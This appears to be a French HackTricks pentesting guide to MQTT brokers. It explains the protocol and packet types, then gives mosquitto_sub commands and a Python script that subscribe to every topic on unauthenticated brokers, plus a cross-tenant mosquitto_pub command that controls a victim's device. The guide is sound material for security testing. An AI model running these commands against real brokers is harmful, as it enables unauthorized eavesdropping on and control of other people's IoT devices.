1883 - Pentesting MQTT (Mosquitto)

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

MQ Telemetry Transport (MQTT) est connu comme un protocole de messagerie publication/abonnement qui se distingue par sa simplicitĂ© et sa lĂ©gĂšretĂ© extrĂȘmes. Ce protocole est spĂ©cialement conçu pour les environnements oĂč les appareils ont des capacitĂ©s limitĂ©es et fonctionnent sur des rĂ©seaux caractĂ©risĂ©s par une faible bande passante, une forte latence ou des connexions peu fiables. Les objectifs principaux de MQTT incluent la minimisation de l'utilisation de la bande passante rĂ©seau et la rĂ©duction de la demande sur les ressources des appareils. De plus, il vise Ă  maintenir une communication fiable et Ă  fournir un certain niveau de garantie de livraison. Ces objectifs rendent MQTT particuliĂšrement adaptĂ© au domaine en pleine expansion de la communication machine-Ă -machine (communication M2M) et de l'Internet des Objets (IoT), oĂč il est essentiel de connecter efficacement une multitude d'appareils. En outre, MQTT est trĂšs utile pour les applications mobiles, oĂč prĂ©server la bande passante et l'autonomie de la batterie est crucial.

Port par défaut : 1883

PORT     STATE SERVICE                 REASON
1883/tcp open  mosquitto version 1.4.8 syn-ack

Inspection du trafic

Lorsque un paquet CONNECT est reçu par les brokers MQTT, un paquet CONNACK est renvoyĂ©. Ce paquet contient un code de retour qui est crucial pour comprendre l'Ă©tat de la connexion. Un code de retour 0x00 signifie que les identifiants ont Ă©tĂ© acceptĂ©s, indiquant une connexion rĂ©ussie. En revanche, un code de retour 0x05 indique que les identifiants sont invalides, empĂȘchant ainsi la connexion.

Par exemple, si le broker refuse la connexion en raison d'identifiants invalides, le scénario ressemblerait à ceci :

{
"returnCode": "0x05",
"description": "Connection Refused, not authorized"
}

Brute-Force MQTT

Pentesting MQTT

Authentication est totalement optionnelle et mĂȘme si authentication est effectuĂ©e, encryption n'est pas utilisĂ©e par dĂ©faut (credentials sont envoyĂ©s en clear text). MITM attacks peuvent toujours ĂȘtre exĂ©cutĂ©es pour voler des mots de passe.

Pour vous connecter Ă  un service MQTT, vous pouvez utiliser : https://github.com/bapowell/python-mqtt-client-shell et vous abonner Ă  tous les topics en faisant :

> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
> subscribe "#" 1
> subscribe "$SYS/#"

Vous pouvez également utiliser https://github.com/akamai-threat-research/mqtt-pwn

Vous pouvez aussi utiliser :

bash
apt-get install mosquitto mosquitto-clients
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.

Ou vous pouvez exécuter ce code pour tenter de vous connecter à un service MQTT sans authentification, vous abonner à tous les topics et les écouter :

python
#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
import paho.mqtt.client as mqtt
import time
import os

HOST = "127.0.0.1"
PORT = 1883

def on_connect(client, userdata, flags, rc):
client.subscribe('#', qos=1)
client.subscribe('$SYS/index.html#')

def on_message(client, userdata, message):
print('Topic: %s | QOS: %s  | Message: %s' % (message.topic, message.qos, message.payload))

def main():
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect(HOST, PORT)
client.loop_start()
#time.sleep(10)
#client.loop_stop()

if __name__ == "__main__":
main()

Le modĂšle Publish/Subscribe

Le modÚle publish/subscribe est composé de :

  • Publisher : publie un message vers un ou plusieurs topic(s) sur le broker.
  • Subscriber : s’abonne Ă  un ou plusieurs topic(s) sur le broker et reçoit tous les messages envoyĂ©s par le publisher.
  • Broker : achemine tous les messages des publishers vers les subscribers.
  • Topic : consiste en un ou plusieurs niveaux sĂ©parĂ©s par un slash (par ex., /smartshouse/livingroom/temperature).

Packet Format

Chaque paquet MQTT contient un entĂȘte fixe (Figure 02).Figure 02: Fixed Header

https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png

Packet Types

  • CONNECT (1) : InitiĂ© par le client pour demander une connexion au serveur.
  • CONNACK (2) : AccusĂ© de rĂ©ception du serveur confirmant une connexion rĂ©ussie.
  • PUBLISH (3) : UtilisĂ© pour envoyer un message du client vers le serveur ou inversement.
  • PUBACK (4) : AccusĂ© de rĂ©ception d’un paquet PUBLISH.
  • PUBREC (5) : Partie d’un protocole de livraison garantissant que le message est reçu.
  • PUBREL (6) : Assurance supplĂ©mentaire dans la livraison, indiquant la libĂ©ration d’un message.
  • PUBCOMP (7) : Partie finale du protocole de livraison, indiquant la complĂ©tion.
  • SUBSCRIBE (8) : RequĂȘte d’un client pour Ă©couter les messages d’un topic.
  • SUBACK (9) : AccusĂ© de rĂ©ception du serveur pour une requĂȘte SUBSCRIBE.
  • UNSUBSCRIBE (10) : RequĂȘte d’un client pour arrĂȘter de recevoir des messages d’un topic.
  • UNSUBACK (11) : RĂ©ponse du serveur Ă  une requĂȘte UNSUBSCRIBE.
  • PINGREQ (12) : Message de heartbeat envoyĂ© par le client.
  • PINGRESP (13) : RĂ©ponse du serveur au heartbeat.
  • DISCONNECT (14) : InitiĂ© par le client pour terminer la connexion.
  • Deux valeurs, 0 et 15, sont marquĂ©es comme rĂ©servĂ©es et leur utilisation est interdite.

IoT MQTT ecosystem attacks: plaintext brokers and topic ACL bypass

De nombreuses plateformes IoT grand public exposent des brokers MQTT utilisés par deux rÎles distincts :

  • Des passerelles/hubs qui font le pont entre des protocoles radio (p.ex., BLE/LoRa/Zigbee) et le cloud.
  • Des apps mobiles ou backends web qui contrĂŽlent les appareils via des topics « app ».

Faiblesses courantes exploitables lors d'un pentest :

  • MQTT en clair sur des ports non standard (p.ex., TCP/8001) au lieu de MQTTS. Tout observateur on-path peut lire les identifiants et les frames de contrĂŽle. Utilisez Wireshark pour repĂ©rer le trafic en clair CONNECT/CONNACK et SUBSCRIBE/PUBLISH sur des ports inhabituels.
  • ACLs de topic faibles ou absentes par locataire. Si les topics sont namespaced uniquement par deviceId (p.ex., "/tenantless//tx"), tout utilisateur authentifiĂ© pourrait envoyer des messages PUBLISH vers les appareils d'autres locataires.
  • Fuites de donnĂ©es sensibles (leak) via des topics de maintenance/admin (p.ex., identifiants Wi‑Fi diffusĂ©s en clair aprĂšs des changements de config).

Exemples (remplacez les placeholders par des valeurs réelles) :

Subscribe to potentially sensitive topics with known topic prefixes and device IDs:

bash
# Using mosquitto_sub
mosquitto_sub -h <broker> -p <port> -V mqttv311 \
-i <client_id> -u <username> -P <password> \
-t "<topic_prefix>/<deviceId>/admin" -v

Contrîle inter-tenant lorsque les ACLs sont faibles (publish vers le device topic d’un autre tenant):

bash
mosquitto_pub -h <app-broker> -p <port> -V mqttv311 \
-i <your_client_id> -u <your_username> -P <your_password> \
-t "/ys/<victimDeviceId>/tx" \
-m '{"method":"Device.setState","params":{"state":{"power":"on"}},"targetDevice":"<victimDeviceId>"}'

Shodan

  • port:1883 MQTT
  • Le MQTT en clair sur des ports non standard est courant dans l'IoT. Envisagez de rechercher des brokers sur des ports alternatifs et confirmez-le par dĂ©tection du protocole.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks